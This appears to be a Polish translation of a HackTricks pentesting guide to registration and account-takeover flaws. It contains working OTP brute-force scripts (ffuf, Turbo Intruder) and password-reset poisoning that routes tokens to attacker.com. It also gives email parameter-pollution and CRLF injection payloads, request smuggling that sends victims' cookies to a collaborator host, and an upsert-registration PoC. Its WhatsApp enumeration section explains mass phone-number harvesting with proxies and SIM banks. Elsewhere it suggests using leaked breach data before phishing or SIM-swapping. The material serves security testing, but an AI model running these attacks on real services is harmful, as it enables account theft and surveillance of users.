Rejestracja i luki przejęcia

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Przejęcie rejestracji

Duplikowana rejestracja

  • Spróbuj utworzyć konto używając istniejącej nazwy użytkownika
  • Sprawdź modyfikacje adresu e-mail:
  • wielkie litery
  • +1@
  • dodaj kropkę w adresie e-mail
  • znaki specjalne w lokalnej części adresu (%00, %09, %20)
  • Dodaj znaki po adresie e-mail: test@test.com a
  • victim@gmail.com@attacker.com
  • victim@attacker.com@gmail.com
  • Wypróbuj sztuczki kanonikalizacji dostawcy e-mail (zależne od usługi):
  • Gmail ignores dots and subaddressing: victim+1@gmail.com, v.ic.tim@gmail.com deliver to victim@gmail.com
  • Niektórzy providerzy są niewrażliwi na wielkość liter w lokalnej części
  • Niektórzy providerzy akceptują unicode confusables. Spróbuj homoglyphs i soft hyphen \u00AD w lokalnej części
  • Wykorzystaj to, aby: obejść sprawdzanie unikalności, uzyskać zduplikowane konta/zaproszenia do workspace lub zablokować rejestrację ofiary (tymczasowy DoS) podczas przygotowywania przejęcia

Username Enumeration

Sprawdź, czy możesz ustalić, kiedy nazwa użytkownika została już zarejestrowana w aplikacji.

  • Różne komunikaty o błędach lub kody statusu HTTP
  • Różnice w czasie odpowiedzi (istniejący użytkownik może wywołać zapytanie do IdP/DB)
  • Autouzupełnianie formularza rejestracji danymi profilu dla znanych adresów e-mail
  • Sprawdź przepływy team/invite: wpisanie e-maila może ujawnić, czy konto istnieje

Password Policy

Przy tworzeniu użytkownika sprawdź politykę haseł (czy można użyć słabych haseł).
W takim przypadku możesz spróbować przeprowadzić atak brute-force na poświadczenia.

SQL Injection

Sprawdź tę stronę to learn how to attempt account takeovers or extract information via SQL Injections in registry forms.

Oauth Takeovers

OAuth to Account takeover

SAML Vulnerabilities

SAML Attacks

Change Email

Po zarejestrowaniu spróbuj zmienić adres e-mail i sprawdź, czy ta zmiana jest poprawnie walidowana lub czy można ją ustawić na dowolny adres.

More Checks

  • Sprawdź, czy można użyć disposable emails (mailinator, yopmail, 1secmail, etc.) lub obejść blocklistę przez subaddressing jak victim+mailinator@gmail.com
  • Bardzo długie hasło (>200) prowadzi do DoS
  • Sprawdź limity liczby żądań przy tworzeniu kont
  • Użyj username@burp_collab.net i analizuj callback
  • Jeśli używana jest weryfikacja numeru telefonu, sprawdź przypadki brzegowe parsowania/iniekcji numerów telefonu

Phone Number Injections

Captcha Bypass

Contact-discovery / identifier-enumeration oracles

Komunikatory skoncentrowane na numerach telefonów ujawniają presence oracle za każdym razem, gdy klient synchronizuje kontakty. Odtwarzanie żądań discovery WhatsApp historycznie dostarczało >100M zapytań na godzinę, umożliwiając niemal pełną enumerację kont.

Przebieg ataku

  1. Zainstrumentuj oficjalnego klienta aby przechwycić żądanie przesyłania książki adresowej (uwierzytelniony blob z znormalizowanymi numerami E.164). Odtwórz je z numerami wygenerowanymi przez atakującego, używając tych samych cookies/device token.
  2. Grupuj numery na żądanie: WhatsApp akceptuje tysiące identyfikatorów i zwraca zarejestrowane/niezarejestrowane oraz metadane (business, companion, itd.). Analizuj odpowiedzi offline, aby budować listy celów bez wysyłania wiadomości do ofiar.
  3. Skaluj horyzontalnie enumerację za pomocą SIM banks, urządzeń w chmurze lub residential proxies, tak aby throttling per-account/IP/ASN nigdy się nie uruchomił.

Modelowanie planu numeracji

Modeluj plan numeracji każdego kraju, aby pominąć nieprawidłowe kandydatury. Dataset NDSS (country-table.*) zawiera kody krajów, gęstość adopcji i podział platform, dzięki czemu możesz priorytetyzować zakresy o wysokiej trafności. Przykładowy kod seedowania:

import pandas as pd
from itertools import product

df = pd.read_csv("country-table.csv")
row = df[df["Country"] == "India"].iloc[0]
prefix = "+91"  # India mobile numbers are 10 digits
for suffix in product("0123456789", repeat=10):
candidate = prefix + "".join(suffix)
enqueue(candidate)

Priorytetyzuj prefiksy, które odpowiadają rzeczywistym alokacjom (Mobile Country Code + National Destination Code) zanim zapytasz oracle, aby zachować użyteczną przepustowość.

Turning enumerations into targeted attacks

  • Wprowadź leaked phone numbers (np. Facebook’s 2021 breach) do oracle, aby sprawdzić, które tożsamości są nadal aktywne przed phishing, SIM-swapping lub spamming.
  • Przefiltruj zestawy danych według kraju/OS/typu aplikacji, aby znaleźć regiony ze słabym filtrowaniem SMS lub dużym przyjęciem WhatsApp Business do lokalizowanego social engineering.

Public-key reuse correlation

WhatsApp ujawnia klucz tożsamości X25519 każdego konta podczas ustanawiania sesji. Pobierz identity material dla każdego enumerowanego numeru i usuń duplikaty public keys, aby ujawnić account farms, cloned clients lub insecure firmware — shared keys deanonymize operacje multi-SIM.

Flows rejestracji często weryfikują własność za pomocą numeric OTP lub magic-link token. Typowe słabości:

  • Guessable lub krótkie OTP (4–6 cyfr) bez efektywnego rate limiting lub śledzenia IP/device. Spróbuj równoległych zgadywań i rotacji header/IP.
  • OTP reuse między akcjami lub kontami, lub niepowiązane z konkretnym user/action (np. ten sam kod działa przy login i signup, albo działa po zmianie email).
  • Multi-value smuggling: niektóre backendy akceptują wiele kodów i weryfikują, czy którykolwiek pasuje. Spróbuj:
  • code=000000&code=123456
  • JSON arrays: {"code":["000000","123456"]}
  • Mixed parameter names: otp=000000&one_time_code=123456
  • Comma/pipe separated values: code=000000,123456 or code=000000|123456
  • Response oracle: rozróżnij wrong vs expired vs wrong-user codes na podstawie status/message/body length.
  • Tokens nieunieważniane po sukcesie lub po zmianie password/email.
  • Verification token niepowiązany z user agent/IP, co pozwala na cross-origin completion ze stron kontrolowanych przez atakującego.

Bruteforcing example with ffuf against a JSON OTP endpoint:

ffuf -w <wordlist_of_codes> -u https://target.tld/api/verify -X POST \
-H 'Content-Type: application/json' \
-d '{"email":"victim@example.com","code":"FUZZ"}' \
-fr 'Invalid|Too many attempts' -mc all

Równoległe/współbieżne odgadywanie, aby obejść sekwencyjne blokady (użyj Turbo Intruder w Burp):

Fragment Turbo Intruder do zalewania prób 6‑cyfrowych OTP ```python def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=30, requestsPerConnection=100) for code in range(0,1000000): body = '{"email":"victim@example.com","code":"%06d"}' % code engine.queue(target.req, body=body)

def handleResponse(req, interesting): if req.status != 401 and b’Invalid’ not in req.response: table.add(req)

</details>

- Try racing verification: wyślij ten sam ważny OTP jednocześnie w dwóch sesjach; czasami jedna sesja staje się zweryfikowanym kontem atakującego, podczas gdy proces rejestracji ofiary również się powiedzie.
- Also test Host header poisoning on verification links (same as reset poisoning below) to leak or complete verification on attacker controlled host.

<a class="content_ref" href="rate-limit-bypass.md"><span class="content_ref_label">Rate Limit Bypass</span></a>

<a class="content_ref" href="2fa-bypass.md"><span class="content_ref_label">2FA/MFA/OTP Bypass</span></a>

<a class="content_ref" href="email-injections.md"><span class="content_ref_label">Email Injections</span></a>

## Account Pre‑Hijacking Techniques (przed rejestracją ofiary)

A powerful class of issues occurs when an attacker performs actions on the victim’s email before the victim creates their account, then regains access later.

Key techniques to test (adapt to the target’s flows):

- Classic–Federated Merge
- Atakujący: rejestruje konto klasyczne na e‑mail ofiary i ustawia hasło
- Ofiara: później rejestruje się przez SSO (ten sam e‑mail)
- Niezabezpieczone scalania mogą pozostawić obie strony zalogowane lub przywrócić dostęp atakującego
- Unexpired Session Identifier
- Atakujący: tworzy konto i utrzymuje długotrwałą sesję (nie wylogowuje się)
- Ofiara: odzyskuje/ustawia hasło i używa konta
- Sprawdź, czy stare sesje pozostają ważne po resecie lub włączeniu MFA
- Trojan Identifier
- Atakujący: dodaje wtórny identyfikator do wcześniej utworzonego konta (telefon, dodatkowy e‑mail lub podłącza swój IdP)
- Ofiara: resetuje hasło; atakujący później używa trojan identifier do resetu/logowania
- Unexpired Email Change
- Atakujący: inicjuje zmianę e‑mail na e‑mail atakującego i wstrzymuje potwierdzenie
- Ofiara: odzyskuje konto i zaczyna je używać
- Atakujący: później kończy oczekującą zmianę e‑mail, aby ukraść konto
- Non‑Verifying IdP
- Atakujący: używa IdP, który nie weryfikuje własności e‑mail, aby zadeklarować `victim@…`
- Ofiara: rejestruje się przez klasyczną ścieżkę
- Serwis scala konta po e‑mail bez sprawdzenia `email_verified` lub wykonania lokalnej weryfikacji

Practical tips

- Harvest flows and endpoints from web/mobile bundles. Look for classic signup, SSO linking, email/phone change, and password reset endpoints.
- Stwórz realistyczną automatyzację, aby utrzymać sesje aktywne podczas testowania innych flows.
- For SSO tests, stand up a test OIDC provider and issue tokens with `email` claims for the victim address and `email_verified=false` to check if the RP trusts unverified IdPs.
- Po każdym resecie hasła lub zmianie e‑mail, zweryfikuj, że:
- wszystkie inne sesje i tokeny zostały unieważnione,
- oczekujące zmiany e‑mail/telefonu zostały anulowane,
- wcześniej powiązane IdP/e‑maile/telefony zostały ponownie zweryfikowane.

Note: Extensive methodology and case studies of these techniques are documented by Microsoft’s pre‑hijacking research (see References at the end).

<a class="content_ref" href="reset-password.md"><span class="content_ref_label">Reset/Forgotten Password Bypass</span></a>

<a class="content_ref" href="race-condition.md"><span class="content_ref_label">Race Condition</span></a>

## **Password Reset Takeover**

### Password Reset Token Leak Via Referrer <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>

1. Poproś o reset hasła na swój adres e‑mail
2. Kliknij link resetu hasła
3. Nie zmieniaj hasła
4. Kliknij dowolną stronę 3rd party (eg: Facebook, twitter)
5. Przechwyć żądanie w Burp Suite proxy
6. Sprawdź, czy referer header is leaking password reset token.

### Password Reset Poisoning <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>

1. Przechwyć żądanie resetu hasła w Burp Suite
2. Dodaj lub edytuj następujące nagłówki w Burp Suite : `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
3. Prześlij żądanie z zmodyfikowanym nagłówkiem\
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
4. Szukaj URL resetu hasła opartego na _host header_ jak : `https://attacker.com/reset-password.php?token=TOKEN`

### Password Reset Via Email Parameter <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
```bash
# parameter pollution
email=victim@mail.com&email=hacker@mail.com

# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}

# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com

# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com

IDOR w parametrach API

  1. Atakujący musi zalogować się na swoje konto i przejść do funkcji Change password.
  2. Uruchom Burp Suite i przechwyć żądanie
  3. Wyślij je do zakładki repeater i edytuj parametry : User ID/email
    powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})

Słaby Password Reset Token

Password reset token powinien być generowany losowo i być unikalny za każdym razem.
Spróbuj ustalić, czy token wygasa, czy jest zawsze ten sam — w niektórych przypadkach algorytm generacji jest słaby i można go odgadnąć. Następujące zmienne mogą być używane przez algorytm.

  • Timestamp
  • UserID
  • Email użytkownika
  • Firstname and Lastname
  • Date of Birth
  • Cryptography
  • Number only
  • Small token sequence ( characters between [A-Z,a-z,0-9])
  • Token reuse
  • Token expiration date

Leaking Password Reset Token

  1. Trigger a password reset request using the API/UI for a specific email e.g: test@mail.com
  2. Inspect the server response and check for resetToken
  3. Then use the token in an URL like https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]

Reset hasła przez kolizję nazwy użytkownika

  1. Zarejestruj się w systemie z nazwą użytkownika identyczną jak nazwa ofiary, ale z wstawionymi spacjami przed i/lub po nazwie użytkownika. e.g: "admin "
  2. Poproś o reset hasła dla swojego złośliwego username.
  3. Użyj tokenu wysłanego na twój e-mail i zresetuj hasło ofiary.
  4. Zaloguj się na konto ofiary z nowym hasłem.

Platforma CTFd była podatna na ten atak.
See: CVE-2020-7245

Przejęcie konta przez Cross Site Scripting

  1. Znajdź XSS w aplikacji lub na subdomenie jeśli cookies są scope’owane do domeny nadrzędnej : *.domain.com
  2. Leak the current sessions cookie
  3. Uwierzytelnij się jako użytkownik, używając cookie

Przejęcie konta przez HTTP Request Smuggling

  1. Użyj smuggler aby wykryć typ HTTP Request Smuggling (CL, TE, CL.TE)
    powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h\
  2. Sporządź żądanie, które nadpisze POST / HTTP/1.1 następującymi danymi:
    GET http://something.burpcollaborator.net HTTP/1.1 X: z celem otwarcia redirectu ofiar do burpcollab i kradzieży ich cookies\
  3. Końcowe żądanie może wyglądać następująco
GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0

GET http://something.burpcollaborator.net  HTTP/1.1
X: X

Raporty Hackerone o wykorzystaniu tego buga\

Przejęcie konta przez CSRF

  1. Utwórz payload dla CSRF, np.: “HTML form z automatycznym wysłaniem w celu zmiany hasła”
  2. Wyślij payload

Przejęcie konta przez JWT

JSON Web Token może być używany do uwierzytelniania użytkownika.

  • Edytuj JWT, podstawiając inny User ID / Email
  • Sprawdź słabość sygnatury JWT

JWT Vulnerabilities (Json Web Tokens)

Rejestracja jako Reset (Upsert on Existing Email)

Niektóre mechanizmy rejestracji wykonują upsert, gdy podany email już istnieje. Jeśli endpoint akceptuje minimalne body zawierające email i password i nie wymusza weryfikacji własności, wysłanie emaila ofiary nadpisze jej password przed autoryzacją.

  • Discovery: harvest endpoint names from bundled JS (or mobile app traffic), then fuzz base paths like /parents/application/v4/admin/FUZZ using ffuf/dirsearch.
  • Method hints: a GET returning messages like “Only POST request is allowed.” often indicates the correct verb and that a JSON body is expected.
  • Minimal body observed in the wild:
{"email":"victim@example.com","password":"New@12345"}

Przykładowy PoC:

POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
Host: www.target.tld
Content-Type: application/json

{"email":"victim@example.com","password":"New@12345"}

Wpływ: Pełne przejęcie konta (ATO) bez żadnego tokena resetu, OTP ani weryfikacji adresu e-mail.

Referencje

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks